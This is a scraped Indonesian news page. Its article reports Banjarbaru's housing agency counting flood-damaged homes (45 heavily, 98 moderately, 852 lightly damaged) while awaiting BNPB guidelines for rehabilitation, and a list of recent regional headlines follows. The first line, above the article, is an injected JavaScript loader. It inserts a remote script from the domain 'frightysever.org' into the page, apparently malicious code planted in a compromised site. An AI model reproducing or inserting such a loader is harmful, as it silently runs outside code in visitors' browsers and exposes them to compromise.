(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Disperkim Siapkan Rehabilitasi Rumah Rusak Akibat Banjir


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru berencana menginventarisir seluruh kerusakan rumah warga akibat banjir pada Januari lalu.

Hanya saja, upaya penanganan yang disebut program rehabilitasi ini masih menunggu waktu untuk direalisasikan.

Dinas Perumahan dan Permukiman (Disperkim) Kota Banjarbaru selaku SKPD teknis yang menangani, masih menunggu petunjuk teknis (juknis) dari pusat untuk melaksanakan program rehabilitasi.

“Untuk perbaikan rumah rusak akibat atau dampak banjir masih menunggu informasi dari BNPB. Lebih tepatnya kita menunggu juklak (petunjuk pelaksanaan) maupun juknisnya,” kata Kabid Permukiman Disperkim Banjarbaru, Jainah Muchran, Jumat (12/2/2021).

 

Sembari menunggu, Jainah menyebut, pihaknya kini sedang berfokus pada proses pendataan jumlah rumah warga yang terdampak banjir. Termasuk mengkategorikan tingkat kerusakan.

“Kategori kerusakan rumah dibagi tiga, yakni rusak ringan, sedang dan berat. Nah saat ini kita data rumah-rumah warga sesuai tingkat kerusakannya,” bebernya.

Data sementara Disperkim Banjarbaru berdasarkan laporan beberapa kelurahan mencatat ada 45 rumah warga yang masuk dalam kategori rusak berat. Kemudian, untuk rusak sedang ada 98 rumah dan rusak ringan sebanyak 852 rumah.

“Data tersebut masih ada perubahan tetapi masih dalam proses pendataan. Terutama yang rusak ringan dan sedang. Namun untuk wilayah yang paling banyak mengalami kerusakan berada di Kecamatan Landasan Ulin,” paparnya.

Berdasarkan hasil evaluasi dan pemantauan di lapangan, Jainah menerangkan kebanyakan rumah warga yang rusak lantaran bahan atau material bangunan yang tidak kuat saat tergerus banjir. Dalam hal ini, ia menyebut rumah berbahan kayu.

“Sebagian yang rusak ringan karena material dari bahan kayu yang masih terendam. Ditambah juga posisi rumah di dataran rendah atau rawa. Jadi di anggap kedepannya akan lapuk, tapi ini masih predeksi. Tentunya pastinya beda dengan yang hancur dan tidak bisa ditempati lagi,” tandasnya. (kanalkalimantan.com/rico)

Reporter: rico
Editor : bie


Al Ghifari

Recent Posts

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

3 jam ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

3 jam ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

6 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

7 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

8 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

11 jam ago

This website uses cookies.